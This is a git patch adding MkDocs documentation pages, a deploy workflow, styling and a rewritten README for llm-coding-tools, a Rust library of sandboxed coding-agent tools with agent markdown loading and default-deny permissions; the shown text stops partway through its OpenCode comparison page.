From c7075ce56372771b8582874ed3e95f324683a878 Mon Sep 17 00:00:00 2001 From: Sewer56 Date: Fri, 10 Apr 2026 14:49:30 +0100 Subject: [PATCH] Added: All documentation pages for llm-coding-tools --- .github/workflows/deploy-mkdocs.yml | 24 + .gitignore | 1 + README.MD | 171 +++-- SANDBOX-PROFILES.md | 8 +- docs/.gitignore | 3 + docs/mkdocs.yml | 80 +++ docs/requirements.txt | 5 + docs/src/agents.md | 123 ++++ docs/src/architecture.md | 110 ++++ docs/src/assets/landing.css | 151 +++++ docs/src/comparison.md | 133 ++++ docs/src/examples.md | 31 + docs/src/feature-flags.md | 100 +++ docs/src/getting-started.md | 241 ++++++++ docs/src/guides/custom-framework.md | 163 +++++ docs/src/index.md | 242 ++++++++ docs/src/migration.md | 135 ++++ docs/src/models-catalog.md | 118 ++++ docs/src/sandboxing.md | 342 ++++++++++ docs/src/tools.md | 427 +++++++++++++ .../Reloaded/Images/Nexus-Heart-40.avif | Bin 0 -> 955 bytes .../vendor/Reloaded/Images/Nexus-Icon-40.avif | Bin 0 -> 1261 bytes .../Reloaded/Images/Reloaded-Heart-40.avif | Bin 0 -> 956 bytes .../Reloaded/Images/Reloaded-Icon-40.avif | Bin 0 -> 1586 bytes .../vendor/Reloaded/Stylesheets/reloaded.css | 584 ++++++++++++++++++ docs/start_docs.py | 95 +++ src/Cargo.lock | 34 +- src/llm-coding-tools-agents/ARCHITECTURE.md | 4 +- src/llm-coding-tools-agents/Cargo.toml | 2 +- src/llm-coding-tools-agents/README.md | 137 ++-- .../orchestrator-quality-gate-gpt5.md | 22 +- src/llm-coding-tools-agents/src/loader.rs | 4 +- .../src/runtime/mod.rs | 2 +- .../src/runtime/model.rs | 10 +- .../ARCHITECTURE.md | 8 +- src/llm-coding-tools-bubblewrap/README.md | 18 +- src/llm-coding-tools-core/README.md | 22 +- .../src/fs/blocking_impl.rs | 8 + .../src/fs/tokio_impl.rs | 8 + src/llm-coding-tools-models-dev/README.md | 22 +- .../src/api/schema.rs | 2 + .../AGENTS-ARCHITECTURE.md | 19 +- src/llm-coding-tools-serdesai/README.md | 40 +- .../src/agent_ext.rs | 4 +- src/llm-coding-tools-serdesai/src/convert.rs | 4 +- 45 files changed, 3490 insertions(+), 167 deletions(-) create mode 100644 .github/workflows/deploy-mkdocs.yml create mode 100644 docs/.gitignore create mode 100755 docs/mkdocs.yml create mode 100755 docs/requirements.txt create mode 100644 docs/src/agents.md create mode 100644 docs/src/architecture.md create mode 100644 docs/src/assets/landing.css create mode 100644 docs/src/comparison.md create mode 100644 docs/src/examples.md create mode 100644 docs/src/feature-flags.md create mode 100644 docs/src/getting-started.md create mode 100644 docs/src/guides/custom-framework.md create mode 100644 docs/src/index.md create mode 100644 docs/src/migration.md create mode 100644 docs/src/models-catalog.md create mode 100644 docs/src/sandboxing.md create mode 100644 docs/src/tools.md create mode 100644 docs/src/vendor/Reloaded/Images/Nexus-Heart-40.avif create mode 100644 docs/src/vendor/Reloaded/Images/Nexus-Icon-40.avif create mode 100644 docs/src/vendor/Reloaded/Images/Reloaded-Heart-40.avif create mode 100644 docs/src/vendor/Reloaded/Images/Reloaded-Icon-40.avif create mode 100644 docs/src/vendor/Reloaded/Stylesheets/reloaded.css create mode 100755 docs/start_docs.py diff --git a/.github/workflows/deploy-mkdocs.yml b/.github/workflows/deploy-mkdocs.yml new file mode 100644 index 00000000..77357718 --- /dev/null +++ b/.github/workflows/deploy-mkdocs.yml @@ -0,0 +1,24 @@ +name: MkDocs Build and Deploy + +on: + workflow_dispatch: + push: + branches: [main] + paths: + - "docs/**" + +jobs: + build: + runs-on: ubuntu-latest + permissions: + contents: read + pages: write + id-token: write + steps: + - name: Deploy MkDocs + uses: Reloaded-Project/devops-mkdocs@v1 + with: + requirements: ./docs/requirements.txt + publish-to-pages: ${{ github.event_name == 'push' }} + checkout-current-repo: true + docs-directory: docs diff --git a/.gitignore b/.gitignore index 6af0c827..938c247a 100644 --- a/.gitignore +++ b/.gitignore @@ -7,3 +7,4 @@ PROMPT-*.MD # Local Code Review .vscode/local-reviews src/.vscode/local-reviews + diff --git a/README.MD b/README.MD index 9757f16a..1f4ef4d2 100644 --- a/README.MD +++ b/README.MD @@ -1,105 +1,162 @@ +
+ # llm-coding-tools -[![CI](https://github.com/Sewer56/llm-coding-tools/actions/workflows/rust.yml/badge.svg)](https://github.com/Sewer56/llm-coding-tools/actions) +**Production-grade coding agent tools in Rust. ~10 MiB. No TUI. Embed it anywhere.** -Lightweight, heavily optimized coding tool implementations for LLM-powered -development agents. +[![CI](https://github.com/Sewer56/llm-coding-tools/actions/workflows/rust.yml/badge.svg)](https://github.com/Sewer56/llm-coding-tools/actions) [![crates.io](https://img.shields.io/crates/v/llm-coding-tools-core.svg)](https://crates.io/crates/llm-coding-tools-core) [![docs.rs](https://img.shields.io/docsrs/llm-coding-tools-core)](https://docs.rs/llm-coding-tools-core) [![License](https://img.shields.io/crates/l/llm-coding-tools-core)](./LICENSE) -Suitable for server use (<3 MiB), or as building blocks for your own TUI coding agent. +[Get Started](#quick-start) · [Documentation](https://sewer56.github.io/llm-coding-tools/) · [API Reference](https://docs.rs/llm-coding-tools-core) · [Examples](#examples) -## About This Workspace +
-This workspace contains multiple Rust crates for integrating coding tools with -LLM agents: +--- -- **[llm-coding-tools-core](./src/llm-coding-tools-core/)**: - Framework-agnostic core operations and utilities -- **[llm-coding-tools-agents](./src/llm-coding-tools-agents/)**: - OpenCode agent markdown loader and typed catalogue -- **[llm-coding-tools-serdesai](./src/llm-coding-tools-serdesai/)**: - serdesAI framework-specific Tool implementations -- **[llm-coding-tools-bubblewrap](./src/llm-coding-tools-bubblewrap/)**: - Sandboxing for Bash tool on Linux based on `bwrap` tool -- **[llm-coding-tools-models-dev](./src/llm-coding-tools-models-dev/)**: - models.dev catalog sync with cached fallback and ETag refresh +## Why this project? -## Features +llm-coding-tools started as "an OpenCode for servers." Headless, +sandboxed, and cheap to host for non-commercial use. -- **File Operations**: Read, write, edit files with line-numbered output -- **Search**: Glob pattern matching and regex content search -- **Shell**: Cross-platform command execution with timeout; with optional sandboxing on Linux. -- **Web**: URL fetching with HTML-to-markdown conversion -- **Path Security**: Choose between unrestricted or sandboxed file access -- **OpenCode Agents**: Support for OpenCode-style agents -- **Model Catalog Sync**: Download and cache the models.dev catalog for - provider/model lookups -- **Optimized System Prompt**: Built-in tool guidance stays compact. - Full tool set is ~2000 tokens; search-only drops to ~560 +[OpenCode](https://opencode.ai) is a great interactive coding agent, but it's a +~305 MiB TypeScript application that runs as a separate process. +What if you need those same tools for a **server**? A **Discord bot**? +A **CI pipeline**? A **custom product**? -## Feature Flags (llm-coding-tools-core) +**llm-coding-tools** ships the same agent tools as a Rust library. +Shell sandboxing. Default-deny permissions. ~10 MiB footprint. -- `tokio` (default): Async mode with tokio runtime -- `blocking`: Sync/blocking mode, mutually exclusive with `async` -- `linux-bubblewrap`: Sandboxing for `bash` tool via Linux `bwrap` tool +| | OpenCode | llm-coding-tools | +| ------------ | ------------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| Language | TypeScript | Rust | +| Memory | ~305 MiB | ~13 MiB | +| Interface | TUI / Desktop / IDE | Library (headless) | +| Agent format | Markdown + YAML | Similar format | +| Embeddable | HTTP API | Rust crate | -## Quick Start +## Features -Pick the crate that matches your use case: +- **10 Built-in tools** - read, write, edit, glob, grep, bash, webfetch, todoread, todowrite, task +- **Agents similar to [OpenCode](https://opencode.ai)** - load agent markdown files with YAML frontmatter +- **Multi-agent delegation** - orchestrator pattern with depth-limited task chains +- **Linux sandboxing** - bubblewrap profiles for shell isolation (Public Bot + Trusted Maintenance) +- **Path security** - restrict file access with allowed directories and glob-based rules +- **Model catalog** - sync [models.dev](https://models.dev) with ETag caching (~3000 models, ~24 KiB cache) +- **Permissions** - default-deny with last-match-wins rules and wildcard patterns +- **Optimized system prompt** - auto-generated, ~2000 tokens full / ~560 search-only +- **Async + Sync** - every tool compiles as tokio async or blocking. Zero overhead. +- **Framework-agnostic core** - use the serdesAI integration or bring your own framework +- **15 LLM providers** - OpenAI, Anthropic, Google, Groq, Mistral, Ollama, Azure, Bedrock, and more +- **Semver-guaranteed API** - 6-platform CI matrix, 11 semver surfaces, clippy -D warnings + +## Quick Start ```toml [dependencies] -llm-coding-tools-core = "0.2" # Framework-agnostic tool implementations -llm-coding-tools-agents = "0.1" # OpenCode agent markdown loader -llm-coding-tools-models-dev = "0.1" # models.dev catalog sync and cache -llm-coding-tools-serdesai = "0.2" # serdesAI integration -llm-coding-tools-bubblewrap = "0.1" # Linux Bubblewrap profile and wrapper helpers +llm-coding-tools-serdesai = "0.2" ``` -For a runnable agent setup, start with `llm-coding-tools-serdesai` and the -examples below. +**1.** Create an agent file (markdown + YAML frontmatter similar to [OpenCode](https://opencode.ai)): + +```markdown +--- +name: coder +mode: all +description: A coding agent that can read, search, and edit files. +permission: + read: allow + write: allow + edit: allow + glob: allow + grep: allow + bash: allow + webfetch: allow + task: deny +--- + +You are a coding assistant. Use the available tools to complete the user's task. +``` + +**2.** Load the catalog, build the agent, and run: + +```rust +use llm_coding_tools_agents::{AgentCatalog, AgentLoader, AgentRuntimeBuilder}; +use llm_coding_tools_core::CredentialResolver; +use llm_coding_tools_models_dev::ModelsDevCatalog; +use llm_coding_tools_serdesai::{AgentBuildContext, AgentDefaults}; +use std::{path::PathBuf, sync::Arc}; + +#[tokio::main] +async fn main() -> Result<(), Box> { + // Load agents from the "agents" directory. + let mut catalog = AgentCatalog::new(); + AgentLoader::new().add_directory(&mut catalog, "./agents")?; + + // Supports any model from https://models.dev + let load_result = ModelsDevCatalog::load().await?; + + let runtime = AgentRuntimeBuilder::new() + .catalog(catalog) // Default model if not specified by agent. + .defaults(AgentDefaults::with_model("synthetic/hf:MiniMaxAI/MiniMax-M2.5")) + .build()?; + + let build_context = AgentBuildContext::new( + Arc::new(runtime), + Arc::new(load_result.catalog), + Arc::new(CredentialResolver::new()), + ); + + let agent = build_context.build("coder")?; + let response = agent.run("Find all TODO comments in src/", ()).await?; + println!("{}", response.output()); + Ok(()) +} +``` + +## Crate Map + +| Crate | Version | Description | +| --------------------------------------------------------------------- | ------- | ------------------------------------------------------------------------------------------------ | +| [**llm-coding-tools-core**](./src/llm-coding-tools-core/) | 0.2 | Framework-agnostic tool implementations, path resolvers, permissions, system prompt builder | +| [**llm-coding-tools-agents**](./src/llm-coding-tools-agents/) | 0.1 | agent markdown loader similar to [OpenCode](https://opencode.ai), typed catalog, runtime builder | +| [**llm-coding-tools-serdesai**](./src/llm-coding-tools-serdesai/) | 0.2 | SerdesAI framework integration, tool adapters, 15 provider bridges, task delegation | +| [**llm-coding-tools-bubblewrap**](./src/llm-coding-tools-bubblewrap/) | 0.1 | Linux bubblewrap sandbox profiles (Public Bot + Trusted Maintenance) | +| [**llm-coding-tools-models-dev**](./src/llm-coding-tools-models-dev/) | 0.1 | models.dev catalog sync with ETag caching and offline fallback | ## Examples ```bash -# serdesAI framework - Basic agent setup +# Basic agent setup with all tools cargo run --example serdesai-basic -p llm-coding-tools-serdesai -# serdesAI framework - Sandboxed file access +# Sandboxed file access (restricted to allowed directories) cargo run --example serdesai-sandboxed -p llm-coding-tools-serdesai -# serdesAI framework - Agent catalog loading +# Sandboxed bash execution (Linux, requires bubblewrap) +cargo run --example serdesai-sandboxed-bash --features linux-bubblewrap -p llm-coding-tools-serdesai + +# Agent catalog loading from markdown files cargo run --example serdesai-agents -p llm-coding-tools-serdesai -# serdesAI framework - Task delegation +# Multi-agent task delegation (orchestrator + reader sub-agent) cargo run --example serdesai-task -p llm-coding-tools-serdesai ``` ## Documentation +- **[Documentation Site](https://sewer56.github.io/llm-coding-tools/)** - guides, architecture, examples - [llm-coding-tools-core README](./src/llm-coding-tools-core/README.md) - [llm-coding-tools-agents README](./src/llm-coding-tools-agents/README.md) - [llm-coding-tools-serdesai README](./src/llm-coding-tools-serdesai/README.md) - [llm-coding-tools-bubblewrap README](./src/llm-coding-tools-bubblewrap/README.md) - [llm-coding-tools-models-dev README](./src/llm-coding-tools-models-dev/README.md) - [Sandbox profiles and operator checklist](./SANDBOX-PROFILES.md) -- [Developer Guidelines](./src/AGENTS.md) +- [API Reference (docs.rs)](https://docs.rs/llm-coding-tools-core) ## Contributing Contributions are welcome! Please ensure all tests pass and the code follows our guidelines. -## Deprecation Notice - -**Rig framework support (`llm-coding-tools-rig`) has been removed** -(commit 17158db) due to library bugs that prevented examples from running -reliably. - -You're welcome to submit a PR re-adding rig support if you're willing to -maintain it. Since I don't use rig personally, I'm not able to actively -maintain that integration. Alternatively, you can create your own crate -building on `llm-coding-tools-core` directly. - ## License Licensed under [Apache 2.0](./LICENSE). diff --git a/SANDBOX-PROFILES.md b/SANDBOX-PROFILES.md index acd147bb..6871252e 100644 --- a/SANDBOX-PROFILES.md +++ b/SANDBOX-PROFILES.md @@ -144,8 +144,8 @@ network access is unavailable, so it can adjust its behavior accordingly. System runtime roots are selected from the following paths when present: - `/usr/bin`, `/usr/lib`, `/lib64` -- `/run/current-system/sw` (NixOS) -- `/nix/store`, `/nix/var/nix/profiles/default` (Nix) +- `/run/current-system/sw` ([NixOS]) +- `/nix/store`, `/nix/var/nix/profiles/default` ([Nix]) #### Environment @@ -167,7 +167,7 @@ profile intentionally leaves it out so nothing persists across sessions. #### Why These Mounts - **System runtime roots**: mounted read-only so the resolved host shell - plus common distro/Nix binaries remain available without exposing the + plus common distro/[Nix] binaries remain available without exposing the full host root. - **`/dev`, `/proc`, sandbox `/tmp`**: provide the minimum runtime surface for common tools. @@ -297,3 +297,5 @@ depends on your environment. [bwrap]: https://github.com/containers/bubblewrap [apr]: https://docs.rs/llm-coding-tools-core/latest/llm_coding_tools_core/struct.AllowedPathResolver.html +[NixOS]: https://nixos.org +[Nix]: https://nixos.org diff --git a/docs/.gitignore b/docs/.gitignore new file mode 100644 index 00000000..f3f7de4f --- /dev/null +++ b/docs/.gitignore @@ -0,0 +1,3 @@ +# MkDocs build +site/ +venv/ diff --git a/docs/mkdocs.yml b/docs/mkdocs.yml new file mode 100755 index 00000000..977ea19d --- /dev/null +++ b/docs/mkdocs.yml @@ -0,0 +1,80 @@ +site_name: llm-coding-tools +site_url: https://sewer56.github.io/llm-coding-tools +docs_dir: src + +repo_name: Sewer56/llm-coding-tools +repo_url: https://github.com/Sewer56/llm-coding-tools + +extra: + social: + - icon: fontawesome/brands/github + link: https://github.com/Sewer56/llm-coding-tools + - icon: fontawesome/brands/discord + link: https://discord.gg/67rU5jhgDt + +extra_css: + - vendor/Reloaded/Stylesheets/reloaded.css + - assets/landing.css + +markdown_extensions: + - admonition + - tables + - abbr + - pymdownx.details + - pymdownx.highlight + - pymdownx.snippets + - pymdownx.superfences: + custom_fences: + - name: mermaid + class: mermaid + format: !!python/name:pymdownx.superfences.fence_code_format + - pymdownx.tasklist + - def_list + - meta + - md_in_html + - attr_list + - footnotes + - pymdownx.tabbed: + alternate_style: true + - pymdownx.emoji: + emoji_index: !!python/name:material.extensions.emoji.twemoji + emoji_generator: !!python/name:material.extensions.emoji.to_svg + - pymdownx.blocks.caption + +theme: + name: material + palette: + scheme: reloaded3-slate + features: + - navigation.instant + - navigation.tracking + - navigation.sections + - navigation.expand + - content.tooltips + - content.code.copy + +plugins: + - search + - minify: + minify_html: true + minify_js: true + minify_css: true + htmlmin_opts: + remove_comments: true + cache_safe: true + +nav: + - Home: index.md + - Getting Started: getting-started.md + - Tools: tools.md + - Agents: agents.md + - Examples: examples.md + - Sandboxing: sandboxing.md + - Feature Flags: feature-flags.md + - Architecture: + - Crate Structure: architecture.md + - Models Catalog: models-catalog.md + - vs. OpenCode: + - Comparison: comparison.md + - Migration: migration.md + - Custom Framework Integration: guides/custom-framework.md diff --git a/docs/requirements.txt b/docs/requirements.txt new file mode 100755 index 00000000..c0ba6a0f --- /dev/null +++ b/docs/requirements.txt @@ -0,0 +1,5 @@ +mkdocs-material +mkdocs-redirects +mkdocs-exclude-unused-files +mkdocs-exclude +mkdocs-minify-plugin diff --git a/docs/src/agents.md b/docs/src/agents.md new file mode 100644 index 00000000..4e543f3b --- /dev/null +++ b/docs/src/agents.md @@ -0,0 +1,123 @@ +# Agents + +!!! info "llm-coding-tools supports loading agent definitions from markdown files with YAML frontmatter." + +The agent file format mirrors [OpenCode]'s schema, similar enough that many +files are drop-in compatible, but [not identical](migration.md). See +[Migrating from OpenCode](migration.md) for details. + +## Agent file format + +An agent file is a markdown file with YAML frontmatter delimited by `---`: + +```yaml +--- +name: code-searcher +mode: subagent +description: Searches codebases to find relevant files and extracts content +model: synthetic/hf:moonshotai/Kimi-K2.5 +permission: + read: allow + grep: allow + glob: allow + task: deny +tool_settings: + read: + line_numbers: false + grep: + line_numbers: false +temperature: 0.2 +--- + +You are a code search assistant. Use grep to find relevant files and code patterns, +then read the matching files to extract and summarize the content. +``` + +Files must be placed at `agent/**/*.md` or `agents/**/*.md` within the scanned +directory. + +### Frontmatter fields + +**Required:** + +| Field | Description | +| ------------- | ---------------------------------------------------------- | +| `description` | What this agent does. Shown when listing available agents. | + +**Optional:** + +| Field | Default | Description | +| --------------- | --------------- | ------------------------------------------------------------------------------------------------------------------- | +| `name` | filename | Agent identifier. If omitted, derived from the file path (e.g. `basic/file-reader.md` becomes `basic/file-reader`). | +| `mode` | `all` | Agent behaviour: `all`, `primary`, or `subagent`. | +| `model` | runtime default | LLM to use. Format: `provider/model-id` or `synthetic/hf:huggingface-model-id`. | +| `permission` | all denied | Map of tool names to `allow`/`deny`. | +| `tool_settings` | defaults | Per-tool configuration (line numbers, limits, timeouts). | +| `temperature` | model default | Sampling temperature. | +| `top_p` | model default | Nucleus sampling parameter. | + +### Mode + +| Mode | Description | +| ---------- | ----------------------------------------------------------------------------- | +| `all` | Both primary and subagent capabilities. Can be used directly or delegated to. | +| `primary` | Top-level agent. Can delegate work to subagents via the `task` tool. | +| `subagent` | Can only be invoked by other agents. Not available for direct use. | + +### Permissions + +Permissions are **default-deny**: every tool is blocked unless you explicitly +allow it. + +```yaml +permission: + read: allow + write: deny + bash: allow + task: allow # Required to delegate to subagents +``` + +#### Pattern-based rules + +Several tools support wildcard patterns instead of a simple `allow`/`deny`. +Evaluation uses **last-match-wins**: the final matching rule takes effect. + +| Pattern | Meaning | +| ------- | ----------------------------- | +| `**` | Any depth, workspace-relative | +| `*` | Workspace root only | +| `/**` | Any file on the system | +| `?` | Exactly one character | + +For the full rule table and examples, see +[Tools > Permission rules](tools.md#permission-rules). + +### Model specification + +Format: `provider/model-id` or `synthetic/hf:huggingface-model-id`. + +`synthetic` is the provider name; `hf` selects a HuggingFace model by its +repository ID (e.g. `moonshotai/Kimi-K2.5`). + +Examples: + +- `openai/gpt-5.4` +- `synthetic/hf:zai-org/GLM-5` +- `ollama-cloud/minimax-m2.7` +- `synthetic/hf:moonshotai/Kimi-K2.5` + +Model names are validated against the [models.dev] catalog at runtime; an +unrecognized name will produce a load error. + +Load the catalog before resolving agents. See +[Models Catalog](models-catalog.md) for setup instructions and the +`llm-coding-tools-models-dev` crate API. + +### Tool settings + +Per-tool configuration that overrides defaults. For the full reference with +types, ranges, and validation rules, see [Tools > Tool Settings](tools.md#tool-settings). + +[SerdesAI]: https://crates.io/crates/serdes-ai +[OpenCode]: https://opencode.ai/ +[models.dev]: https://models.dev diff --git a/docs/src/architecture.md b/docs/src/architecture.md new file mode 100644 index 00000000..8723124a --- /dev/null +++ b/docs/src/architecture.md @@ -0,0 +1,110 @@ +# Architecture + +llm-coding-tools is a Rust workspace with 5 crates that layer on top of each +other. This page explains how they connect and where your code plugs in. + +## Crate dependency graph + +```mermaid +graph TD + core["llm-coding-tools-core
Framework-agnostic tool primitives"] + agents["llm-coding-tools-agents
Agent markdown loader + runtime"] + serdesai["llm-coding-tools-serdesai
SerdesAI framework integration"] + bubblewrap["llm-coding-tools-bubblewrap
Linux sandbox profiles"] + modelsdev["llm-coding-tools-models-dev
models.dev catalog sync"] + + agents --> core + serdesai --> core + serdesai --> agents + serdesai -.->|optional| bubblewrap + modelsdev --> core + + classDef default fill:#1C1C1C,stroke:#fa7774,strokeWidth:2px,color:#fff +``` + +## Layer overview + +### llm-coding-tools-core + +The foundation. Contains every tool implementation as a plain function +(`read_file`, `write_file`, `edit_file`, etc.), plus supporting types: + +- **Path resolvers** - control which files tools can access +- **System prompt builder** - generates context-aware tool guidance +- **Permission engine** - last-match-wins rules with wildcard patterns +- **Credential resolver** - API key lookup with override support ([details](getting-started.md#credential-management)) +- **Model catalog** - compact hash-table-based provider/model lookup + +Core is **framework-agnostic**: it has no dependencies on any specific LLM +framework. Your integration layer wraps these functions into framework-specific +tool types. + +### llm-coding-tools-agents + +Loads agent definitions from markdown files with YAML frontmatter. Provides: + +- **AgentLoader** - scans directories for `.md` agent files +- **AgentCatalog** - name-to-config lookup table +- **AgentRuntime** - bundles catalog + defaults + permissions + task settings + +The agent file format mirrors [OpenCode]'s schema - similar enough that many +files are drop-in compatible, but [not identical](migration.md). The most +notable difference is **default-deny** permissions: tools must be explicitly +allowed. + +### llm-coding-tools-serdesai + +The ready-to-use integration layer for the [SerdesAI] framework. It: + +- Wraps core tool functions into [SerdesAI] `Tool` trait implementations +- Bridges 15 provider types to concrete [SerdesAI] model constructors +- Builds runnable `Agent` instances from agent markdown definitions +- Handles multi-agent task delegation with depth limits + +If you use [SerdesAI], this is the only crate you need. If you use a different +framework, build your own adapters using core. + +### llm-coding-tools-bubblewrap + +Linux-only. Builds and manages [bubblewrap] sandbox profiles for shell command +isolation. Two presets: + +- **Public Bot** - for untrusted input (no network, minimal filesystem) +- **Trusted Maintenance** - for trusted automation (read-only host `/`, network on) + +### llm-coding-tools-models-dev + +Syncs the online [models.dev](https://models.dev) catalog into a compact +`ModelCatalog`. Features: + +- ETag-based conditional HTTP requests +- [zstd]-compressed cache (~24 KiB for ~3000 models) +- Offline fallback when network is unavailable +- Cache load in ~0.3 ms + +## Where your code plugs in + +There are two integration paths: + +**Path A: Use [SerdesAI]** - Add `llm-coding-tools-serdesai`, attach tools to an +`AgentBuilder`, and run. This is the fastest path to a working agent. + +**Path B: Bring your own framework** - Depend on `llm-coding-tools-core`, +implement your framework's tool trait by calling the core functions, and use +`SystemPromptBuilder` to generate the system prompt. See +[Custom Framework](guides/custom-framework.md) for a walkthrough. + +```mermaid +graph LR + subgraph "Path A: SerdesAI" + A1["[SerdesAI] crate"] --> A2[Runnable Agent] + end + subgraph "Path B: Custom" + B1[core crate] --> B2[Your Tool Adapter] --> B3[Any Framework] + end +``` + +[SerdesAI]: https://crates.io/crates/serdes-ai +[OpenCode]: https://opencode.ai/ +[bubblewrap]: https://github.com/containers/bubblewrap +[zstd]: https://facebook.github.io/zstd/ diff --git a/docs/src/assets/landing.css b/docs/src/assets/landing.css new file mode 100644 index 00000000..6923cac6 --- /dev/null +++ b/docs/src/assets/landing.css @@ -0,0 +1,151 @@ +/* Landing page styles */ + +.landing-hero { + text-align: center; + padding: 3rem 1rem 2rem; +} + +.landing-hero h1 { + font-size: 2.8rem; + font-weight: 700; + margin-bottom: 0.5rem; + font-family: "Montserrat", Roboto, sans-serif; +} + +.landing-hero .tagline { + font-size: 1.25rem; + color: var(--md-default-fg-color--light); + margin-bottom: 1.5rem; + max-width: 600px; + margin-left: auto; + margin-right: auto; +} + +.landing-badges { + display: flex; + flex-wrap: wrap; + gap: 0.5rem; + justify-content: center; + margin-bottom: 2rem; +} + +.landing-badges img { + height: 22px; +} + +.landing-cta { + display: flex; + gap: 0.75rem; + justify-content: center; + flex-wrap: wrap; + margin-bottom: 3rem; +} + +.landing-stats { + display: grid; + grid-template-columns: repeat(auto-fit, minmax(180px, 1fr)); + gap: 1.5rem; + margin: 2rem auto; + max-width: 800px; +} + +.stat-card { + text-align: center; + padding: 1.25rem; + border-radius: 8px; + background: rgba(var(--md-primary-fg-color-rgb, 250, 119, 116), 0.08); + border: 1px solid rgba(var(--md-primary-fg-color-rgb, 250, 119, 116), 0.15); +} + +.stat-card .stat-value { + font-size: 2rem; + font-weight: 700; + font-family: "Montserrat", Roboto, sans-serif; + color: var(--md-primary-fg-color); +} + +.stat-card .stat-label { + font-size: 0.875rem; + color: var(--md-default-fg-color--light); + margin-top: 0.25rem; +} + +.feature-grid { + display: grid; + grid-template-columns: repeat(auto-fit, minmax(280px, 1fr)); + gap: 1rem; + margin: 2rem 0; +} + +.feature-card { + padding: 1.25rem; + border-radius: 8px; + border: 1px solid rgba(var(--md-primary-fg-color-rgb, 250, 119, 116), 0.12); + background: rgba(var(--md-primary-fg-color-rgb, 250, 119, 116), 0.04); +} + +.feature-card h3 { + margin-top: 0; + margin-bottom: 0.5rem; + font-size: 1rem; + font-family: "Montserrat", Roboto, sans-serif; +} + +.feature-card p { + margin: 0; + font-size: 0.875rem; + color: var(--md-default-fg-color--light); + line-height: 1.5; +} + +.crate-grid { + display: grid; + grid-template-columns: repeat(auto-fit, minmax(280px, 1fr)); + gap: 1rem; + margin: 2rem 0; +} + +.crate-card { + padding: 1.25rem; + border-radius: 8px; + border: 1px solid rgba(var(--md-primary-fg-color-rgb, 250, 119, 116), 0.12); + background: rgba(var(--md-primary-fg-color-rgb, 250, 119, 116), 0.04); +} + +.crate-card h3 { + margin-top: 0; + margin-bottom: 0.25rem; + font-size: 1rem; + font-family: "Montserrat", Roboto, sans-serif; +} + +.crate-card h3 a { + color: inherit; + text-decoration: none; +} + +.crate-card h3 a:hover { + color: var(--md-primary-fg-color); + text-decoration: underline; +} + +.crate-card p { + margin: 0.5rem 0 0; + font-size: 0.875rem; + color: var(--md-default-fg-color--light); + line-height: 1.5; +} + +.landing-section { + margin: 3rem 0 2rem; +} + +.landing-section > h2 { + text-align: center; + font-family: "Montserrat", Roboto, sans-serif; +} + +.md-tooltip2[role="tooltip"] .md-tooltip2__inner { + font-size: 0.75rem; + white-space: pre-line; +} diff --git a/docs/src/comparison.md b/docs/src/comparison.md new file mode 100644 index 00000000..0fe877d0 --- /dev/null +++ b/docs/src/comparison.md @@ -0,0 +1,133 @@ +# Comparison with OpenCode + +This page breaks down where llm-coding-tools overlaps with [OpenCode], where it +diverges, and which to pick. [OpenCode] excels at interactive development; +llm-coding-tools is for embedding agent tools into your own applications. + +## At a glance + +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
AspectOpenCodellm-coding-tools
What it isA coding agent applicationA coding agent library
LanguageTypeScriptRust
RuntimeBunNative binary / library
Memory~305 MiB RSS (Resident Set Size)~13 MiB RSS (Resident Set Size)
InterfaceTUI (Terminal User Interface), Desktop, IDELibrary (no UI - headless)
Target userDeveloper at a terminalDeveloper building a server/bot/tool
Agent formatMarkdown + YAML frontmatterSimilar format
PermissionsDefault-allow + interactive askDefault-deny (no interactive mode)
Tool set14 tools10 tools (core set)
LLM frameworkAI SDK (TypeScript)SerdesAI / bring your own
Providers75+ via models.dev75+ via models.dev
Sandboxing-Linux bubblewrap (2 profiles)
EmbeddableClient/server HTTP APIRust crate (library)
AsyncYes (Bun)Yes (tokio) and blocking mode
System prompt~2000+ tokens~2000 tokens (dynamically generated, includes only enabled tools)
+
+ +## Where they overlap + +- **Agent markdown format** - both use a similar YAML frontmatter schema + (`name`, `mode`, `description`, `model`, `permission`, `tool_settings`). + Agent files written for [OpenCode] are drop-in compatible (add + explicit permissions). See [Agents](agents.md) for the full format + reference and [Migrating from OpenCode](migration.md) for the differences. + +- **Core tools** - both provide `read`, `write`, `edit`, `glob`, `grep`, + `bash`, and `webfetch`. See [Tools](tools.md) for the complete tool + reference. + +- **[models.dev]** - both support the models.dev catalog for provider/model + lookups. + +- **Multi-agent delegation** - both support `task` tool delegation with + recursion depth limits (how deeply agents can delegate to other agents). + +## Where they differ + +### Permissions + +[OpenCode] uses **default-allow**: tools are allowed unless you explicitly +deny them. It also offers an interactive `ask` mode that prompts the user for +approval in the TUI before a tool runs. + +llm-coding-tools uses **default-deny**: every tool is blocked unless you +explicitly allow it in the agent frontmatter. There is no interactive approval +flow because there is no user to prompt - the agent runs unattended. + +See [Migrating from OpenCode](migration.md) for a side-by-side YAML example, +a [portable default-deny configuration](migration.md#portable-default-deny), +and a migration checklist. + +### Interface + +[OpenCode] is a full application with a TUI (Terminal User Interface), desktop +app, VS Code extension, and HTTP API server. llm-coding-tools is a library +with no UI. You build the interface or API layer yourself. + +### Framework + +[OpenCode] is built on the [Vercel AI SDK](https://sdk.vercel.ai) (TypeScript). llm-coding-tools uses +[SerdesAI] for the ready-to-use integration, but the core is +framework-agnostic so you can bring your own LLM framework. See +[Custom Framework Integration](guides/custom-framework.md) for details. + +### Sandboxing + +[OpenCode] doesn't provide built-in sandboxing. To isolate it, you sandbox the +entire process externally (containers, VMs, etc.). llm-coding-tools provides +**in-process** sandboxing: each tool is sandboxed individually within your +application. + +Two layers are available: + +- **Path resolvers** - restrict which paths the file tools + (`read`, `write`, `edit`, `glob`, `grep`) can access. + See [Path resolvers](tools.md#path-resolvers) for the resolver types + and configuration. + +- **Shell sandboxing** (Linux only) - sandbox `bash` commands with + [bubblewrap] using kernel-level filesystem, network, and process + isolation. Two profiles are available: + [Public Bot](sandboxing.md#public-bot) (untrusted input) and + [Trusted Maintenance](sandboxing.md#trusted-maintenance) + (trusted automation). + +Because sandboxing is per-tool, each agent or client can use a different +configuration. See [Sandboxing](sandboxing.md) for the full guide. + +### Features unique to OpenCode + +- TUI / desktop app / IDE extensions (notifications, themes, keybindings) +- Interactive permission prompts (`ask` mode) +- LSP (Language Server Protocol) integration +- Session sharing (share live agent sessions with other users) + +### Features unique to llm-coding-tools + +- In-process sandboxing: 